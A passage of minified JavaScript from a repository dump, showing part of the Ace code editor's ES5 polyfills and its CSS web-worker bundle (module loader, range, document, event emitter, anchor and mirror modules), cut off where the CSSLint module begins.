if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/worker-css.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console||(e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console),e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){e instanceof o||(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),define(\"ace/mode/css/csslint\",[\"require\",\"exports\",\"module\"],function(require,exports,module){function objectToString(e){return 